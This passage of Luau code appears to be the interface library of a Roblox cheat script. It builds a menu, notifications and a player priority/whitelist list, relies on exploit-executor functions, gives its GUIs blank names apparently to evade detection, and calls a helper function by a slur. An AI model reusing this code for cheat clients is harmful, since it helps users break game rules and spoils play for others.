                    local playervalue = library.flags["player_list"]
                    local status

                    if playervalue ~= nil then
                        if table.find(library.priority, playervalue) then
                            status = "<font color='rgb(255,0,0)'>Priority</font>"
                        elseif table.find(library.whitelist, playervalue) then
                            status = "<font color='rgb(0,255,0)'>Whitelisted</font>"
                        else
                            status = "None"
                        end
                    else
                        status = "None"
                    end

                    _statuslabel.set(string.format("Status : %s", status))
                end
            end))

            _section:button({name = "Prioritise", callback = function()
                if not library.flags["player_list"] then return end
                if table.find(library.whitelist, library.flags["player_list"]) then
                    table.remove(library.whitelist, table.find(library.whitelist, library.flags["player_list"]))
                end

                if table.find(library.priority, library.flags["player_list"]) then
                    table.remove(library.priority, table.find(library.priority, library.flags["player_list"]))

                    return
                end

                if not table.find(library.priority, library.flags["player_list"]) then
                    table.insert(library.priority, library.flags["player_list"])
                end
            end})

            _section:button({name = "Whitelist", callback = function()
                if not library.flags["player_list"] then return end
                if table.find(library.priority, library.flags["player_list"]) then
                    table.remove(library.priority, table.find(library.priority, library.flags["player_list"]))
                end

                if table.find(library.whitelist, library.flags["player_list"]) then
                    table.remove(library.whitelist, table.find(library.whitelist, library.flags["player_list"]))

                    return
                end

                if not table.find(library.whitelist, library.flags["player_list"]) then
                    table.insert(library.whitelist, library.flags["player_list"])
                end
            end})

            local refreshplrs = LPH_NO_VIRTUALIZE(function()
                local cache = {}

                for i,v in players:GetPlayers() do
                    if v==lp then continue end

                    table.insert(cache, v.Name)
                end

                table.sort(cache)

                plr_list.refresh_options(cache)
            end)

            task.spawn(refreshplrs)

            players.PlayerAdded:Connect(refreshplrs)

            players.PlayerRemoving:Connect(refreshplrs)
        end
    --

    -- Notification Library
        function notifications:refresh_notifs() 
            local offset = 50

            for i, v in notifications.notifs do
                local Position = vec2(20, offset)
                library:tween(v, {Position = dim_offset(Position.X, Position.Y)}, Enum.EasingStyle.Quad, 0.4)
                offset += (v.AbsoluteSize.Y + 10)
            end

            return offset
        end
        
        function notifications:fade(path, is_fading)
            local fading = is_fading and 1 or 0 
            
            library:tween(path, {BackgroundTransparency = fading}, Enum.EasingStyle.Quad, 1)

            for _, instance in path:GetDescendants() do 
                if not instance:IsA("GuiObject") then 
                    if instance:IsA("UIStroke") then
                        library:tween(instance, {Transparency = fading}, Enum.EasingStyle.Quad, 1)
                    end
        
                    continue
                end 
        
                if instance:IsA("TextLabel") then
                    library:tween(instance, {TextTransparency = fading})
                elseif instance:IsA("Frame") then
                    library:tween(instance, {BackgroundTransparency = instance.Transparency and 0.6 and is_fading and 1 or 0.6}, Enum.EasingStyle.Quad, 1)
                end
            end
        end 
        
        function notifications:create_notification(options)
            local cfg = {
                name = options.name or "This is a title!";
                info = options.info or "This is extra info!";
                lifetime = options.lifetime or 3;
                items = {};
                outline;
            }

            local items = cfg.items; do 
                items[ "notification" ] = library:create( "Frame" , {
                    Parent = library[ "items" ];
                    Size = dim2(0, 210, 0, 53);
                    Name = "\0";
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    BackgroundTransparency = 1;
                    AnchorPoint = vec2(1, 0);
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(14, 14, 16)
                });
                
                library:create( "UIStroke" , {
                    Color = rgb(23, 23, 29);
                    Parent = items[ "notification" ];
                    Transparency = 1;
                    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
                });
                
                items[ "title" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "notification" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 7, 0, 6);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "notification" ];
                    CornerRadius = dim(0, 3)
                });
                
                items[ "info" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(145, 145, 145);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.info;
                    Parent = items[ "notification" ];
                    Name = "\0";
                    Position = dim2(0, 9, 0, 22);
                    BorderSizePixel = 0;
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    TextWrapped = true;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIPadding" , {
                    PaddingBottom = dim(0, 17);
                    PaddingRight = dim(0, 8);
                    Parent = items[ "info" ]
                });
                
                items[ "bar" ] = library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = items[ "notification" ];
                    Name = "\0";
                    Position = dim2(0, 8, 1, -6);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, 0, 5);
                    BackgroundTransparency = 1;
                    BorderSizePixel = 0;
                    BackgroundColor3 = themes.preset.accent
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "bar" ];
                    CornerRadius = dim(0, 999)
                });
                
                library:create( "UIPadding" , {
                    PaddingRight = dim(0, 8);
                    Parent = items[ "notification" ]
                });
            end
            
            local index = #notifications.notifs + 1
            notifications.notifs[index] = items[ "notification" ]

            notifications:fade(items[ "notification" ], false)
            
            local offset = notifications:refresh_notifs()

            items[ "notification" ].Position = dim_offset(20, offset)

            library:tween(items[ "notification" ], {AnchorPoint = vec2(0, 0)}, Enum.EasingStyle.Quad, 1)
            library:tween(items[ "bar" ], {Size = dim2(1, -8, 0, 5)}, Enum.EasingStyle.Quad, cfg.lifetime)

            task.spawn(function()
                task.wait(cfg.lifetime)
                
                notifications.notifs[index] = nil
                
                notifications:fade(items[ "notification" ], true)
                
                library:tween(items[ "notification" ], {AnchorPoint = vec2(1, 0)}, Enum.EasingStyle.Quad, 1)

                task.wait(1)
        
                items[ "notification" ]:Destroy() 
            end)
        end
    --end)()
    else
            --LPH_JIT_MAX(function()

-- Variables
    local scale = 0.5
    local uis = Services.UserInputService
    local players = Services.Players
    local ws = Services.Workspace
    local rs = Services.ReplicatedStorage
    local http_service = Services.HttpService
    local gui_service = Services.GuiService
    local lighting = Services.Lighting
    local run = Services.RunService
    local stats = Services.Stats
    local coregui = Services.CoreGui
    local debris = Services.Debris
    local tween_service = Services.TweenService
    local sound_service = Services.SoundService
    local run_service = Services.RunService

    local vec2 = Vector2.new
    local vec3 = Vector3.new
    local dim2 = UDim2.new
    local dim = UDim.new 
    local rect = Rect.new
    local cfr = CFrame.new
    local empty_cfr = cfr()
    local point_object_space = empty_cfr.PointToObjectSpace
    local angle = CFrame.Angles
    local dim_offset = UDim2.fromOffset

    local color = Color3.new
    local rgb = Color3.fromRGB
    local hex = Color3.fromHex
    local hsv = Color3.fromHSV
    local rgbseq = ColorSequence.new
    local rgbkey = ColorSequenceKeypoint.new
    local numseq = NumberSequence.new
    local numkey = NumberSequenceKeypoint.new

    local camera = ws.CurrentCamera
    local lp = players.LocalPlayer 
    local mouse = lp:GetMouse() 
    local gui_offset = gui_service:GetGuiInset().Y

    local max = math.max 
    local floor = math.floor 
    local min = math.min 
    local abs = math.abs 
    local noise = math.noise
    local rad = math.rad 
    local random = math.random 
    local pow = math.pow 
    local sin = math.sin 
    local pi = math.pi 
    local tan = math.tan 
    local atan2 = math.atan2 
    local clamp = math.clamp 

    local insert = table.insert 
    local find = table.find 
    local remove = table.remove
    local concat = table.concat
-- 

-- Library ini

    local themes = {
        preset = {
            accent = rgb(0, 162, 255),
        }, 

        utility = {
            accent = {
                BackgroundColor3 = {}, 	
                TextColor3 = {}, 
                ImageColor3 = {}, 
                ScrollBarImageColor3 = {} 
            },
        }
    }

    local keys = {
        [Enum.KeyCode.LeftShift] = "LS",
        [Enum.KeyCode.RightShift] = "RS",
        [Enum.KeyCode.LeftControl] = "LC",
        [Enum.KeyCode.RightControl] = "RC",
        [Enum.KeyCode.Insert] = "INS",
        [Enum.KeyCode.Backspace] = "BS",
        [Enum.KeyCode.Return] = "Ent",
        [Enum.KeyCode.LeftAlt] = "LA",
        [Enum.KeyCode.RightAlt] = "RA",
        [Enum.KeyCode.CapsLock] = "CAPS",
        [Enum.KeyCode.One] = "1",
        [Enum.KeyCode.Two] = "2",
        [Enum.KeyCode.Three] = "3",
        [Enum.KeyCode.Four] = "4",
        [Enum.KeyCode.Five] = "5",
        [Enum.KeyCode.Six] = "6",
        [Enum.KeyCode.Seven] = "7",
        [Enum.KeyCode.Eight] = "8",
        [Enum.KeyCode.Nine] = "9",
        [Enum.KeyCode.Zero] = "0",
        [Enum.KeyCode.KeypadOne] = "Num1",
        [Enum.KeyCode.KeypadTwo] = "Num2",
        [Enum.KeyCode.KeypadThree] = "Num3",
        [Enum.KeyCode.KeypadFour] = "Num4",
        [Enum.KeyCode.KeypadFive] = "Num5",
        [Enum.KeyCode.KeypadSix] = "Num6",
        [Enum.KeyCode.KeypadSeven] = "Num7",
        [Enum.KeyCode.KeypadEight] = "Num8",
        [Enum.KeyCode.KeypadNine] = "Num9",
        [Enum.KeyCode.KeypadZero] = "Num0",
        [Enum.KeyCode.Minus] = "-",
        [Enum.KeyCode.Equals] = "=",
        [Enum.KeyCode.Tilde] = "~",
        [Enum.KeyCode.LeftBracket] = "[",
        [Enum.KeyCode.RightBracket] = "]",
        [Enum.KeyCode.RightParenthesis] = ")",
        [Enum.KeyCode.LeftParenthesis] = "(",
        [Enum.KeyCode.Semicolon] = ",",
        [Enum.KeyCode.Quote] = "'",
        [Enum.KeyCode.BackSlash] = "\\",
        [Enum.KeyCode.Comma] = ",",
        [Enum.KeyCode.Period] = ".",
        [Enum.KeyCode.Slash] = "/",
        [Enum.KeyCode.Asterisk] = "*",
        [Enum.KeyCode.Plus] = "+",
        [Enum.KeyCode.Period] = ".",
        [Enum.KeyCode.Backquote] = "`",
        [Enum.UserInputType.MouseButton1] = "MB1",
        [Enum.UserInputType.MouseButton2] = "MB2",
        [Enum.UserInputType.MouseButton3] = "MB3",
        [Enum.KeyCode.Escape] = "ESC",
        [Enum.KeyCode.Space] = "SPC",
    }
        
    library.__index = library

    for _, path in next, library.folders do 
        makefolder(library.directory .. path)
    end

    local flags = library.flags 
    local config_flags = library.config_flags
    local notifications = library.notifications 

    local fonts = {}; do
        function Register_Font(Name, Weight, Style, Asset)
            if not isfile(Asset.Id) then
                writefile(Asset.Id, Asset.Font)
            end

            if isfile(Name .. ".font") then
                delfile(Name .. ".font")
            end

            local Data = {
                name = Name,
                faces = {
                    {
                        name = "Normal",
                        weight = Weight,
                        style = Style,
                        assetId = getcustomasset(Asset.Id),
                    },
                },
            }

            writefile(Name .. ".font", http_service:JSONEncode(Data))

            return getcustomasset(Name .. ".font");
        end
        
        local Medium = Register_Font("Meawdawdawddium", 200, "Normal", {
            Id = "Mediumawdwad.ttf",
            Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/Inter_28pt-Medium.ttf"),
        })

        local SemiBold = Register_Font("SeawdawdawdawdmiBold", 200, "Normal", {
            Id = "SemiBoldawdawdwad.ttf",
            Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/Inter_28pt-SemiBold.ttf"),
        })

        fonts = {
            small = Font.new(Medium, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
            font = Font.new(SemiBold, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
        }
    end
--

-- Library functions 
    -- Misc functions
        function library:tween(obj, properties, easing_style, time) 
            local tween = tween_service:Create(obj, TweenInfo.new(time or 0.25, easing_style or Enum.EasingStyle.Quint, Enum.EasingDirection.InOut, 0, false, 0), properties):Play()
                
            return tween
        end

        function library:resizify(frame) 
            local Frame = Instance.new("TextButton")
            Frame.Position = dim2(1, -10, 1, -10)
            Frame.BorderColor3 = rgb(0, 0, 0)
            Frame.Size = dim2(0, 10, 0, 10)
            Frame.BorderSizePixel = 0
            Frame.BackgroundColor3 = rgb(255, 255, 255)
            Frame.Parent = frame
            Frame.BackgroundTransparency = 1 
            Frame.Text = ""

            local resizing = false 
            local start_size 
            local start 
            local og_size = frame.Size  

            Frame.InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch then
                    resizing = true
                    start = input.Position
                    start_size = frame.Size
                end
            end)

            Frame.InputEnded:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch then
                    resizing = false
                end
            end)

            library:connection(uis.InputChanged, function(input, game_event) 
                if resizing and input.UserInputType == Enum.UserInputType.Touch then
                    local viewport_x = camera.ViewportSize.X
                    local viewport_y = camera.ViewportSize.Y

                    local current_size = dim2(
                        start_size.X.Scale,
                        math.clamp(
                            start_size.X.Offset + (input.Position.X - start.X),
                            og_size.X.Offset,
                            viewport_x
                        ),
                        start_size.Y.Scale,
                        math.clamp(
                            start_size.Y.Offset + (input.Position.Y - start.Y),
                            og_size.Y.Offset,
                            viewport_y
                        )
                    )

                    library:tween(frame, {Size = current_size}, Enum.EasingStyle.Linear, 0.05)
                end
            end)
        end 

        function fag(tbl)
            local Size = 0
            
            for _ in tbl do
                Size = Size + 1
            end
        
            return Size
        end
        
        function library:next_flag()
            local index = fag(library.flags) + 1;
            local str = string.format("flagnumber%s", index)
            
            return str;
        end 

        function library:mouse_in_frame(uiobject)
            local y_cond = uiobject.AbsolutePosition.Y <= mouse.Y and mouse.Y <= uiobject.AbsolutePosition.Y + uiobject.AbsoluteSize.Y
            local x_cond = uiobject.AbsolutePosition.X <= mouse.X and mouse.X <= uiobject.AbsolutePosition.X + uiobject.AbsoluteSize.X

            return (y_cond and x_cond)
        end

        function library:draggify(frame)
            local dragging = false 
            local start_size = frame.Position
            local start 

            frame.InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch then
                    dragging = true
                    start = input.Position
                    start_size = frame.Position
                end
            end)

            frame.InputEnded:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch then
                    dragging = false
                end
            end)

            library:connection(uis.InputChanged, function(input, game_event) 
                if dragging and input.UserInputType == Enum.UserInputType.Touch then
                    local viewport_x = camera.ViewportSize.X
                    local viewport_y = camera.ViewportSize.Y

                    local current_position = dim2(
                        0,
                        start_size.X.Offset + (input.Position.X - start.X),
                        0,
                        start_size.Y.Offset + (input.Position.Y - start.Y)
                    )

                    library:tween(frame, {Position = current_position}, Enum.EasingStyle.Linear, 0.05)
                    library:close_element()
                end
            end)
        end 

        function library:convert(str)
            local values = {}

            for value in string.gmatch(str, "[^,]+") do
                insert(values, tonumber(value))
            end
            
            if #values == 4 then              
                return unpack(values)
            else 
                return
            end
        end
        
        function library:convert_enum(enum)
            local enum_parts = {}
        
            for part in string.gmatch(enum, "[%w_]+") do
                insert(enum_parts, part)
            end
        
            local enum_table = Enum
            for i = 2, #enum_parts do
                local enum_item = enum_table[enum_parts[i]]
        
                enum_table = enum_item
            end
        
            return enum_table
        end

        local config_holder;
        function library:update_config_list() 
            if not config_holder then 
                return 
            end
            
            local list = {}
            
            for idx, file in listfiles(library.directory .. "/configs") do
                local name = file:gsub(library.directory .. "/configs\\", ""):gsub(".cfg", ""):gsub(library.directory .. "\\configs\\", "")
                list[#list + 1] = name
            end

            config_holder.refresh_options(list)
        end 

        function library:get_config()
            local Config = {}
            
            for _, v in next, flags do
                if type(v) == "table" and v.key then
                    Config[_] = {active = v.active, mode = v.mode, key = tostring(v.key)}
                elseif type(v) == "table" and v["Transparency"] and v["Color"] then
                    Config[_] = {Transparency = v["Transparency"], Color = v["Color"]:ToHex()}
                else
                    Config[_] = v
                end
            end 
            
            return http_service:JSONEncode(Config)
        end

        function library:load_config(config_json) 
            local config = http_service:JSONDecode(config_json)
            
            for _, v in config do 
                local function_set = library.config_flags[_]
                
                if _ == "config_name_list" then 
                    continue 
                end

                if function_set then 
                    if type(v) == "table" and v["Transparency"] and v["Color"] then
                        function_set(hex(v["Color"]), v["Transparency"])
                    elseif type(v) == "table" and v["active"] then 
                        function_set(v)
                    else
                        function_set(v)
                    end
                end 
            end 
        end 
        
        function library:round(number, float) 
            local multiplier = 1 / (float or 1)

            return floor(number * multiplier + 0.5) / multiplier
        end 

        function library:apply_theme(instance, theme, property) 
            insert(themes.utility[theme][property], instance)
        end

        function library:update_theme(theme, color)
            for _, property in themes.utility[theme] do 

                for m, object in property do 
                    if object[_] == themes.preset[theme] then 
                        object[_] = color 
                    end 
                end 
            end 

            themes.preset[theme] = color 
        end 

        function library:connection(signal, callback)
            local connection = signal:Connect(callback)
            
            insert(library.connections, connection)

            return connection 
        end

        function library:close_element(new_path) 
            local open_element = library.current_open

            if open_element and new_path ~= open_element then
                open_element.set_visible(false)
                open_element.open = false;
            end 

            if new_path ~= open_element then 
                library.current_open = new_path or nil;
            end
        end 

        function library:create(instance, options)
            local ins = Instance.new(instance) 
            
            for prop, value in options do 
                ins[prop] = value
            end
            
            return ins 
        end

        function library:unload_menu() 
            if library[ "items" ] then 
                library[ "items" ]:Destroy()
            end

            if library[ "other" ] then 
                library[ "other" ]:Destroy()
            end 
            
            for index, connection in library.connections do 
                connection:Disconnect() 
                connection = nil 
            end
            
            library = nil 
        end 
    --
    
    -- Library element functions
        function library:window(properties)
            local cfg = { 
                suffix = properties.suffix or properties.Suffix or "tech";
                name = properties.name or properties.Name or "nebula";
                game_name = properties.gameInfo or properties.game_info or properties.GameInfo or "Milenium for Counter-Strike: Global Offensive";
                size = properties.size or properties.Size or dim2(0, 700, 0, 565);
                selected_tab;
                items = {};

                tween;
            }
            
            library[ "items" ] = library:create( "ScreenGui" , {
                Parent = coregui;
                Name = "\0";
                Enabled = true;
                ZIndexBehavior = Enum.ZIndexBehavior.Global;
                IgnoreGuiInset = true;
            });

            library[ "other" ] = library:create( "ScreenGui" , {
                Parent = coregui;
                Name = "\0";
                Enabled = false;
                ZIndexBehavior = Enum.ZIndexBehavior.Sibling;
                IgnoreGuiInset = true;
            }); 

            local items = cfg.items; do
                items[ "main" ] = library:create( "Frame" , {
                    Parent = library[ "items" ];
                    Size = cfg.size;
                    Name = "\0";
                    Position = dim2(0.5, -cfg.size.X.Offset / 2, 0.5, -cfg.size.Y.Offset / 2);
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(14, 14, 16)
                }); items[ "main" ].Position = dim2(0, items[ "main" ].AbsolutePosition.X, 0, items[ "main" ].AbsolutePosition.Y)

                library:create( "UIScale" , {
                    Parent = items[ "main" ];
                    Scale = scale;
                });

                library:create( "UICorner" , {
                    Parent = items[ "main" ];
                    CornerRadius = dim(0, 10)
                });
                
                library:create( "UIStroke" , {
                    Color = rgb(23, 23, 29);
                    Parent = items[ "main" ];
                    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
                });
                
                items[ "side_frame" ] = library:create( "Frame" , {
                    Parent = items[ "main" ];
                    BackgroundTransparency = 1;
                    Name = "\0";
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 196, 1, -25);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(14, 14, 16)
                });
                
                library:create( "Frame" , {
                    AnchorPoint = vec2(1, 0);
                    Parent = items[ "side_frame" ];
                    Position = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 1, 1, 0);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(21, 21, 23)
                });
                
                items[ "button_holder" ] = library:create( "Frame" , {
                    Parent = items[ "side_frame" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 0, 0, 60);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 1, -60);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); cfg.button_holder = items[ "button_holder" ];
                
                library:create( "UIListLayout" , {
                    Parent = items[ "button_holder" ];
                    Padding = dim(0, 5);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                library:create( "UIPadding" , {
                    PaddingTop = dim(0, 16);
                    PaddingBottom = dim(0, 36);
                    Parent = items[ "button_holder" ];
                    PaddingRight = dim(0, 11);
                    PaddingLeft = dim(0, 10)
                });

                local accent = themes.preset.accent
                items[ "title" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    BorderColor3 = rgb(0, 0, 0);
                    Text = name;
                    Parent = items[ "side_frame" ];
                    Name = "\0";
                    Text = string.format('<u>%s</u><font color = "rgb(255, 255, 255)">%s</font>', cfg.name, cfg.suffix);
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 70);
                    TextColor3 = themes.preset.accent;
                    BorderSizePixel = 0;
                    RichText = true;
                    TextSize = 30;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); library:apply_theme(items[ "title" ], "accent", "TextColor3");
                
                items[ "multi_holder" ] = library:create( "Frame" , {
                    Parent = items[ "main" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 196, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -196, 0, 56);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); cfg.multi_holder = items[ "multi_holder" ];
                
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = items[ "multi_holder" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(21, 21, 23)
                });
                
                items[ "shadow" ] = library:create( "ImageLabel" , {
                    ImageColor3 = rgb(0, 0, 0);
                    ScaleType = Enum.ScaleType.Slice;
                    Parent = items[ "main" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Name = "\0";
                    BackgroundColor3 = rgb(255, 255, 255);
                    Size = dim2(1, 75, 1, 75);
                    AnchorPoint = vec2(0.5, 0.5);
                    Image = "rbxassetid://112971167999062";
                    BackgroundTransparency = 1;
                    Position = dim2(0.5, 0, 0.5, 0);
                    SliceScale = 0.75;
                    ZIndex = -100;
                    BorderSizePixel = 0;
                    SliceCenter = rect(vec2(112, 112), vec2(147, 147))
                });
                
                items[ "global_fade" ] = library:create( "Frame" , {
                    Parent = items[ "main" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 196, 0, 56);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -196, 1, -81);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(14, 14, 16);
                    ZIndex = 2;
                });                

                library:create( "UICorner" , {
                    Parent = items[ "shadow" ];
                    CornerRadius = dim(0, 5)
                });
                
                items[ "info" ] = library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = items[ "main" ];
                    Name = "\0";
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 25);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(23, 23, 25)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "info" ];
                    CornerRadius = dim(0, 10)
                });
                
                items[ "grey_fill" ] = library:create( "Frame" , {
                    Name = "\0";
                    Parent = items[ "info" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 6);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(23, 23, 25)
                });
                
                items[ "game" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    Parent = items[ "info" ];
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.game_name;
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    AnchorPoint = vec2(0, 0.5);
                    Position = dim2(0, 10, 0.5, -1);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); 
                
                if not LRM_SecondsLeft then
                    LRM_SecondsLeft = math.huge
                end

                local time_left = tostring((LRM_SecondsLeft < math.huge and ""..tostring(math.floor(((LRM_SecondsLeft / 60) / 60) / 24)).." days" or LRM_SecondsLeft == math.huge and "lifetime"))

                items[ "other_info" ] = library:create( "TextLabel" , {
                    Parent = items[ "info" ];
                    RichText = true;
                    Name = "\0";
                    TextColor3 = themes.preset.accent;
                    BorderColor3 = rgb(0, 0, 0);
                    Text = '<font color="rgb(72, 72, 73)">'..time_left..', </font>' .. cfg.name:lower() .. cfg.suffix:lower();
                    Size = dim2(1, 0, 0, 0);
                    Position = dim2(0, -10, 0.5, -1);
                    AnchorPoint = vec2(0, 0.5);
                    BorderSizePixel = 0;
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Right;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    FontFace = fonts.font;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); library:apply_theme(items[ "other_info" ], "accent", "TextColor3");        
            end 

            do -- Other
                library:draggify(items[ "main" ])
                library:resizify(items[ "main" ])
            end 

            function cfg.toggle_menu(bool) 
                -- WIP 
                -- if cfg.tween then 
                --     cfg.tween:Cancel()
                -- end 

                -- items[ "main" ].Size = dim2(items[ "main" ].Size.Scale.X, items[ "main" ].Size.Offset.X - 20, items[ "main" ].Size.Scale.Y, items[ "main" ].Size.Offset.Y - 20)
                -- library:tween(items[ "tab_holder" ], {Size = dim2(1, -196, 1, -81)}, Enum.EasingStyle.Quad, 0.4)
                -- cfg.tween = 
                
                items[ "main" ].Visible = bool
            end 

            items[ "close button" ] = library:create( "TextButton" , {
                Parent = library[ "items" ];
                Name = "\0";
                Position = dim2(0, 20, 1, -20);
                AnchorPoint = vec2(0, 1);
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(0, 75, 0, 50);
                BorderSizePixel = 0;
                Text = "";
                AutoButtonColor = false;
                Visible = true;
                BackgroundColor3 = rgb(25, 25, 29)
            });
            
            items[ "other_info" ] = library:create( "TextLabel" , {
                Parent = items[ "close button" ];
                RichText = true;
                Name = "\0";
                TextColor3 = rgb(245, 245, 245);
                BorderColor3 = rgb(0, 0, 0);
                Text = "toggle ui";
                Size = dim2(1, 0, 1, 0);
                BorderSizePixel = 0;
                BackgroundTransparency = 1;
                TextXAlignment = Enum.TextXAlignment.Center;
                FontFace = fonts.font;
                ZIndex = 2;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            library:create( "UICorner" , {
                Parent = items[ "close button" ];
                CornerRadius = dim(0, 10)
            });
            
            library:create( "UIStroke" , {
                Color = rgb(23, 23, 29);
                Parent = items[ "close button" ];
                ApplyStrokeMode = Enum.ApplyStrokeMode.Border
            });

            local open = true 
            items[ "close button" ].InputBegan:Connect(function(input)
                if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.Touch then
                    open = not open 

                    cfg.toggle_menu(open)
                end 
            end)
                
            return setmetatable(cfg, library)
        end 

        function library:tab(properties)
            local cfg = {
                name = properties.name or properties.Name or "visuals"; 
                icon = properties.icon or properties.Icon or "http://www.roblox.com/asset/?id=6034767608";
                
                -- multi 
                tabs = properties.tabs or properties.Tabs or {"Main", "Misc.", "Settings"};
                pages = {}; -- data store for multi sections
                current_multi; 
                
                items = {};
            } 

            local items = cfg.items; do 
                items[ "tab_holder" ] = library:create( "Frame" , {
                    Parent = library.cache;
                    Name = "\0";
                    Visible = false;
                    BackgroundTransparency = 1;
                    Position = dim2(0, 196, 0, 56);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -216, 1, -101);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                -- Tab buttons 
                    items[ "button" ] = library:create( "TextButton" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(255, 255, 255);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        Parent = self.items[ "button_holder" ];
                        AutoButtonColor = false;
                        BackgroundTransparency = 1;
                        Name = "\0";
                        Size = dim2(1, 0, 0, 35);
                        BorderSizePixel = 0;
                        TextSize = 16;
                        BackgroundColor3 = rgb(29, 29, 29)
                    });
                    
                    items[ "icon" ] = library:create( "ImageLabel" , {
                        ImageColor3 = rgb(72, 72, 73);
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = items[ "button" ];
                        AnchorPoint = vec2(0, 0.5);
                        Image = cfg.icon;
                        BackgroundTransparency = 1;
                        Position = dim2(0, 10, 0.5, 0);
                        Name = "\0";
                        Size = dim2(0, 22, 0, 22);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    }); library:apply_theme(items[ "icon" ], "accent", "ImageColor3");
                    
                    items[ "name" ] = library:create( "TextLabel" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(72, 72, 73);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = cfg.name;
                        Parent = items[ "button" ];
                        Name = "\0";
                        Size = dim2(0, 0, 1, 0);
                        Position = dim2(0, 40, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.X;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        Parent = items[ "name" ];
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "button" ];
                        CornerRadius = dim(0, 7)
                    });
                    
                    library:create( "UIStroke" , {
                        Color = rgb(23, 23, 29);
